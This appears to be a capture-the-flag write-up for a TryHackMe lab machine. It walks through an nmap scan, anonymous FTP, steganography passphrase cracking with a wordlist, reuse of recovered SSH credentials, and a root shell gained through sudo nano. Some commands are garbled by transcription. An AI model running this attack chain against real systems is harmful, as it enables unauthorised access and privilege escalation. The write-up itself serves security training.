# **Brooklyn Nine Nine**

# **Working Theory**

#### **Enumeration**

#### **Tools**

#### nmap

```
# Nmap 7.80 scan initiated Tue Oct 20 09:23:19 2020 as: nmap -sC -sV -oN portscn 10.10.183.191
Nmap scan report for 10.10.183.191
Host is up (0.21s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp
                 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
                                119 May 17 23:17 note_to_jake.txt
|_-rw-r--r-- 1 0
| ftp-syst:
  STAT:
 FTP server status:
    Connected to ::ffff:10.9.10.47
    Logged in as ftp
    TYPE: ASCII
    No session bandwidth limit
    Session timeout in seconds is 300
    Control connection is plain text
     Data connections will be plain text
    At session startup, client count was 2
    vsFTPd 3.0.3 - secure, fast, stable
 End of status
                   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
```

```
| ssh-hostkey:

| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)

| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)

| 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

| http-server-header: Apache/2.4.29 (Ubuntu)

| http-title: Site doesn't have a title (text/html).

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at https://nmap.org/submit/. # Nmap done at Tue Oct 20 09:23:57 2020 -- 1 IP address (1 host up) scanned in 38.55 seconds

### **Targets**

#### port 21 ftp

-able to login anonymously -found a text file

```
F:~/tryhackme/brooklynNineNine$ ftp 10.10.183.191
Connected to 10.10.183.191.
220 (vsFTPd 3.0.3)
Name (10.10.183.191:nobodyatall): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
             2 0
                         114
drwxr-xr-x
                                       4096 May 17 23:17 .
              2 0
                         114
                                       4096 May 17 23:17 ..
drwxr-xr-x
                                        119 May 17 23:17 note_to_jake.txt
-rw-r--r--
              1 0
                         0
226 Directory send OK.
ftp>
```

found 3 user
-Amy
-holt
-Jake
//Jake used a weak credential, im assuming it's from rockyou.txt

```
:~/tryhackme/brooklynNineNine$ cat note_to_jake.txt
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
                      :~/tryhackme/brooklynNineNine$
```

#### port 80

root page /



This example creates a full page background image. Try to resize the browser window to see how it always will cover the full screen (when scrolled to top

```
/ source code
```

```
//the image hide something behind it??
```

27 <div class="bg"></div> 29 This example creates a full page background image. Try to resize the br

30 <!-- Have you ever heard of steganography? -->

31 </body>

32 **</html>** 

download it and try steghide //seems like it need passphrase to uncompress it

run stegcracker with rockyou.txt on it

```
//successfully found the passphrase to uncompress the data: admin
StegCracker Stegnide
nobodyatalla@*DEADBEEF:~/tryhackme/brooklynNineNine$ stegCracker brooklyn99.jpg
StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)

No wordlist was specified, using default rockyou.txt wordlist.
Counting lines in wordlist..
Attacking file 'brooklyn99.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: admin
Tried 20395 passwords
Your file has been written to: brooklyn99.jpg.out
admin
nobodymealla@*DEADBEEF:~/tryhackme/brooklynNineNine$
```

read the uncompress data //we found holt credential holt:fluffydog12@ninenine

```
mobodystall@@DEADBEEF:~/tryhackme/brooklynNineNine$ cat brooklyn99.jpg.out
Holts Password:
fluffydog12@ninenine
Enjoy!!
mobodystall@@DEADBEEF:~/tryhackme/brooklynNineNine$
```

login into holt ssh account holt:fluffydog12@ninenine //and we got our initial foothold

# **Post Exploitation**

## **Privilege Escalation**

(ALL) NOPASSWD: /bin/nano holt@brookly\_nine\_nine:~\$

```
holt sudo -|
holt@brookly_nine_nine:~$ sudo -|
Matching Defaults entries for holt on brookly_nine_nine:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User holt may run the following commands on brookly_nine_nine:
```

now check gtfobins and exploit it to get root shell //we're root now!

```
Command to execute: reset; bash 1>80 2>80 root@brookly_nine_nine:~#
root@brookly_nine_nine:~#
root@brookly_nine_nine:~#
root@brookly_nine_nine:~# id
uid=0(root) gid=0(root) groups=0(root)
root@brookly_nine_nine:~#
[thm] 0:ssh*
```

#### root flag

```
root@brookly_nine_nine:/root# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
root@brookly_nine_nine:/root#
```

#### **Creds**

# **Flags**

**Write-up Images**